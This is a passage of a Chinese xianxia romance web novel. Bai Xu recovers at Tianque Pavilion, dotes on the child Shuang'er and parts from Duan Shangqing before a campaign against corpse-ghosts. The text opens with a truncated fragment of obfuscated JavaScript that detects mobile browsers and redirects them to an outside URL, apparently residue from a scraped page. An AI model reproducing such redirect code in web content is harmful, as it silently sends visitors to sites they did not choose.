l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365514|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬眼看去,门外一颗小脑袋悄摸地探着,一双乌黑的小圆眼睛晶亮亮的,白栩笑着朝她招了招手:“谁家的小姑娘?进来说话。” 小姑娘穿着喜庆的红袍子,扎着羊角小辫,才三四岁的年纪,小小一只,大着胆子进了屋来。 白栩摸摸她的头:“你是谁家的小孩?” 女孩爬上床,抱着白栩的脖颈,把冰凉的脸贴在他胸膛上:“我叫霜儿,大名叫许清霜。” “许家的孩子,你可住在天阙阁的后院?” “是。” “你来找我干什么?” 霜儿抬起笑脸,肉乎乎的小胖脸笑得讨喜:“我看见少阁主哥哥在煲汤,香喷喷的,我也要喝,他不给,他说这是给他喜欢的人喝的,不给我。我昨夜玩雪时看见他抱着你进了这个屋,你一定是他喜欢的人,少阁主哥哥不给我喝,漂亮哥哥你给我喝两口好不好?爹和云伯伯总不让我吃肉,说我太胖了,要掉点肉才好看,可是我好馋呀。” 白栩被她逗笑,撑起身,手臂一捞把小孩抱进怀里坐着:“好,待会儿你少阁主哥哥回来了,我给你分一碗。” “哇,漂亮哥哥你人真好!”霜儿抱着白栩的手臂,亲昵地用小脸蹭。 白栩揉揉她的脑袋,问道:“你说的云伯伯,可是云太公?” “是呀,别人都这么叫他。”霜儿抬起小脸,“少阁主哥哥总去找云伯伯,他们好像逮到个坏蛋,已经关起来了,云伯伯说过些时日要和他去瞭鹭山一趟,还有好多伯伯姑姑也要去。” 白栩若有所思,此番集结瞭鹭山,应是要帮太子夺回皇位,只是不知爹娘和花道长意欲何为,老皇帝还没死,司天监依旧如日中天,就算申屠鸿的魂在手,一时半会儿弄不死。 罢了,这些都不是自己这个什么法术都不会的人该操心的。 白栩伸了个懒腰,靠在床头,用指头逗霜儿玩,段尚清推门而进,一见白栩怀里有个小家伙,脸色微变,不过很快便掩饰下去,他放下汤碗,捞过霜儿放在地上,面色略带严肃:“你怎么来了?” 霜儿却不理他的“凶”,只跑到汤碗边上,馋得不行似的:“好香呀!” 白栩拉着段尚清坐在自己边上,趁着霜儿没看过来,轻轻吻了吻自家吃醋的小神仙:“和孩子计较什么?” 段尚清瘪着嘴,一脸不悦。 “霜儿,把汤端过来。”白栩招呼一声,霜儿端着托盘,很是小心地端到边上。 白栩舀起一勺,先喂给她一口,霜儿咂巴着嘴,终于解了馋虫,他自己也尝了一口,汤头清亮,味道香醇,便夸道:“好喝。” 段尚清这才露出个笑。 白栩也给段尚清喂了一勺:“你也尝尝?” 段尚清喝下,撇了一眼霜儿,似乎是在炫耀自己的得宠,霜儿才没管他的小心思,只盯着汤,两眼放光。 白栩问段尚清:“这汤可还有剩的?” 段尚清点头。 白栩俯下身,在霜儿耳边道:“叫厨娘给你单独盛一碗,多捞点肉吃,小孩子瘦得干巴巴的才不好看呢。” 霜儿脸上露出个灿烂的笑,立刻飞奔出去。 把人支走了,白栩放下汤碗,捧起段尚清的脸,越看他吃醋的小模样越是喜欢,在他唇边落下一吻:“昨夜什么都给你了,怎么还乱吃醋呢?” 白栩话里没有任何责备,段尚清却臊红了脸:“我向来如此,只是今日没藏好。” 白栩朗声笑了起来,抬起段尚清的下巴,在他脖颈上吮出个红痕来。 段尚清面色更红,连带着琥珀眼都湿润润的,露出小狗得到主人摸头时温顺又渴求更多的神情。 白栩凑到他耳边,轻声道:“我心悦你,段尚清。” 话音将落,白栩便被一双结实的胳膊紧紧抱住,段尚清不住地吻他的侧脸,语气迷乱又急切:“说好了,只有我,只要我。” 白栩仰着头由着段尚清亲,手指插进他的发丝里,轻柔地揉着。 他心想,他的小神仙,终于被自己亲手镶上了一颗凡心。 61. 金戈铁马 在天阙阁养了许多时日,白栩的身体逐渐好转。 段尚清怕他在水牢里落下病根,每日都要寻些仙根神药来给他补,鸡汤药膳更是不断。 若非白栩被滋补过头流了鼻血,段尚清绝不会罢休。 霜儿也胖了不少,白栩的鸡汤多是分给她了,给小家伙快活的成日在院子里乱跑,大冬天的,只穿一件小棉衫,还能热出一脑门汗。 一月后,云太公来了前院。 他来找段尚清,先前约好,要跟他去瞭鹭山。 白栩并不认识云太公,只从霜儿口中听过这位尊者的大名,今日一见其精神矍铄、身姿挺拔之态,便知绝非俗人。 云太公迈步进院,背着手,身板挺直,一双如炬慧眼先是四下扫了眼院中的布景,而后聚精会神地落在白栩身上。 不等人开口,云太公先行问道:“可是段家小儿带回来的小子?” 白栩起身作揖:“晚辈姓白名栩,敢问老先生可是云太公?” “老朽姓云名翦,号白林先生,你若喜欢跟着段家小子叫我一声‘云太公’,也无妨。” 白栩问:“不知白林先生此行为何?” 云太公不答,踱步上前,一把握住白栩的肩,掌心运力,一道灵力打入,白栩忽觉肩头一痛,而后浑身泛起酸麻,他急忙阻止:“您这是要做什么?” 云太公打开白栩的手,把他的肩掰直:“痛则不通,通则不痛。你在寒水牢里囚了太久,身子经脉受损,饶是段家小儿成日给你寻灵药来,也只是治治皮毛,修复经脉,打通淤堵,才是正道。” 白栩听话地挺直身体,像根竹竿一样被云太公提溜起来,一道道灵力沿着周身经脉循环往复,四下窜通,仿佛春水冲破冰封,势如破竹地冲刷着河道。 连日里不知所谓的郁结仿若一瞬被打通,连带着呼吸都变得顺畅舒朗。 云太公松开手,拍拍白栩,黝黑的脸上露出一抹不甚明显的笑:“非侠而怀侠气,不武却有武风,我听说了你的事,你非习武出身,但遇着事,倒是生得一副好胆魄,不枉段家小儿日日守在你身边,盼着你好。” 白栩听出云太公在夸他,不免红了脸颊,可听至末句,似有弦外之音铮铮袭来。 这云太公,莫非是看出他和尚清的关系? 想也是,他和尚清都不是能藏住事的人,尤其老一辈人鬼精得很,能瞒得住才怪。 他朗然一笑,只道:“让白林先生见笑了。” 云太公摆摆手,并不当成什么事,他问:“段尚清呢?” 白栩手一指:“许是在灶台旁。” 云太公抬腿便走。 段尚清正熬着粥,霜儿扒在灶台边上望眼欲穿。 “小馋包,躲远点,别被火燎到。”段尚清推开霜儿的小胖脸,舀了碗粥先给她解馋。 云太公忽地造访。 只听敞开的门被敲响三声,不等回头,来人已迈步身前。 “明日便出发。”云太公的语气比方才同白栩谈天时硬朗了许多,“宜早不宜迟。” 段尚清动作一顿,放下汤勺,脸上隐隐露出寂寥:“可阿栩病还没好。” 云太公面色一凛,斥道:“这一月你已用这借口搪塞多次,我方才已为白家小子打通静脉,保准你回来时依旧活蹦乱跳,这下可能放心跟我走了?” 段尚清愧色难掩,作揖道:“云太公教训的是,可司天监炼尸鬼的法子没找到,我等去了瞭鹭山,也是无用。” 云太公白眉一挑:“谁说没找到,前些日许家抓来几只尸鬼,我等在后院给它剖了,一寸皮一寸肉一寸骨地找,你猜,发现什么了?” 段尚清被勾起兴致,忙追问:“何物?” “蛊虫,一种尸蛊,以毒素操纵死人神经。” “又是蛊虫?”段尚清蹙起眉,“兜兜转转,还是这一套把戏,活人身体里有蛊,死人也有。” “那么多尸鬼行军,司天监绝对有地方养蛊,只要找到,给他一窝端了,任虞惑再有通天之能,也造不出其他尸鬼。”云太公眸中怒火熊熊,一想要终于能手刃敌人,他心中不免畅快又焦急,于是再催促,“今夜你好好收拾——最好今夜便能走。” 段尚清实在受不了云太公这般火上房似的催,抱起霜儿,往他老人家怀里一塞,自己端着粥溜之大吉,一路快步走到自己屋内。 白栩正坐在桌前习字,见他来了,搁下笔,接过他手里的托盘。 一碗清粥,几碟素菜,比起前几日顿顿不离的鸡汤,这顿毫无油腥的饭菜反而更能勾起胃口。 “好香。”白栩笑意盈盈地夸了一句,拿起勺子慢条斯理地吃了起来。 段尚清拿起桌旁的宣纸,其上龙飞凤舞,多是白栩随意编撰的诗词——风消雨雪霁,云散月华明。心随清露远,意共素光轻。 再一翻,竟还有《牡丹亭》的曲词——偶然间心似缱,梅树边。这般花花草草由人恋,生生死死随人愿,便酸酸楚楚无人怨。待打并香魂一片,阴雨梅天,守的个梅根相见。 段尚清隐隐觉出,白栩已知晓他们将要分别之事,字里行间,尽是离别愁怨。 他坐在白栩对面,面色有些纠结:“今夜我要随云太公去瞭鹭山,你要不要和我一起走?” “我去也无用,留天阙阁陪霜儿玩。”白栩搁下汤勺,露出个体贴的笑,抬手摸摸段尚清的脸颊,“你们此行注意安全。” 段尚清垂下眼帘,用脸颊蹭蹭白栩的手心:“事一了结,我便回来。” 白栩应了一声,温然含笑的目光一寸寸描摹过眼前人的模样,他心里明白,此一别,绝非几日便能相见,少则几月,多则几年。 夜里,段尚清收拾好行囊,跟着段家后院集结的一众西北玄士往瞭鹭山行去。 白栩牵着霜儿在院中送行,一行人御剑飞天,不久便隐于夜色,消失不见。 “白哥哥,他们什么时候回来?” 白栩俯身抱起霜儿,捏了捏小孩的奶膘:“我也不知道,我们一起等他们回家,好不好?” 霜儿点点头,亲昵地抱住白栩的脖颈:“好!” 且说一行人飞往瞭鹭山,夜间出行,晨时才落地。 听白珏与佐恭庭来报,临安城内尸鬼神出鬼没,大多百姓为保一命已然搬走,皇帝依旧闭门不出,虞惑已命祁王召集兵马,欲向瞭鹭山杀来。 太子亦召回先前失散的兵将,正安营扎寨于山脚,兵马充足,粮草辎重亦足够,可祁王那边有尸鬼这一难关,若不能除之而后快,人再多也难敌。 云太公颇见多识广,他道:“要杀蛊虫,得寻些马钱子与天仙子,这两株草药毒性极强,混一块儿榨出汁来,涂在兵器上,只要能捅进尸鬼体内,便能毒杀蛊虫。” 白道陵为难道:“这两味药,皆是全株剧毒,万一将士们接触到……” 云太公翻来一白眼:“谁说让他们去了, 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太子率军亲征,一身银铠,□□高头大马,手上一并长枪。 “杀——!” 他一声令下,两侧骑兵同时冲出,铁蹄踏地如雷。 金戈铁马之声四面起,有如雷声滚滚,烟尘弥漫之中,惨叫与嘶嚎不绝于耳。 没了尸鬼,祁王之兵终是不敌,多败走投降,不愿再战。 太子军一路收编降卒,兵临千秋关。 祁王已被虞子煊架回城内,他肩头中箭,是他哥哥亲射的一箭。 他自己也辨不明此刻心绪,纵然胸中藏着谋朝篡位的野望,可望着满城生灵因尸鬼横遭惨死,即便心如磐石,亦难不动恻隐。 他仍心存良知。 虞子煊却截然相反,阴沉着脸,目眦欲裂,仿若顷刻便要暴跳如雷。 虞惑交给他的不单单是带兵杀向瞭鹭山,血阎罗被玄门抓走,寻婴儿做羹食这个担子也落在他的肩上,加之祁王接连失利,害得他们连城败走,虞子煊感觉自己仿若一根爆竹的引线,一点便能着。 他心中郁结滔天怨气,可又不好对着皇亲贵胄发作,只每日在兵营里骂骂咧咧,惹得兵将们不待见。 虞子煊心焦意切,惹得兵将抱怨连连,这个消息落在太子军中的探子耳中,趁夜报回营帐。 “正好!我们得给这烈火再添一把柴!”云太公摩拳擦掌,在屋里来回踱步,“虞子煊那孙子整日躲在谯楼后面,当缩头乌龟,此番得来个激将法。” “如何激他出来?”段尚清抱剑靠在桌边,“您可有法子?” “自然有。” 云太公从怀中取出招魂幡,朝下一抖落,言传身教道:“段尚清,你明日晌午顶着日头,拿着这把幡,去城楼上高喊——‘虞子煊你爷爷在我手上,识相点就出来跪地求饶,小爷我大发慈悲,饶你爷爷一命’,语气得嚣张,虞子煊那脾气必然耐不住,届时我们埋伏在四周,将他一把擒住!” 段尚清失笑:“云太公,您的法子实在是……高明。” 云太公听出他的弦外之音,长眉一挑,露出个张扬的笑:“岂不闻当年裴行俭故意辱骂挑衅,引得突厥将领怒而出战,最后一举大败敌军?此法古而有之,必然可行。” 他一掌按在段尚清肩头:“别害臊,孩子,得豁出面来。”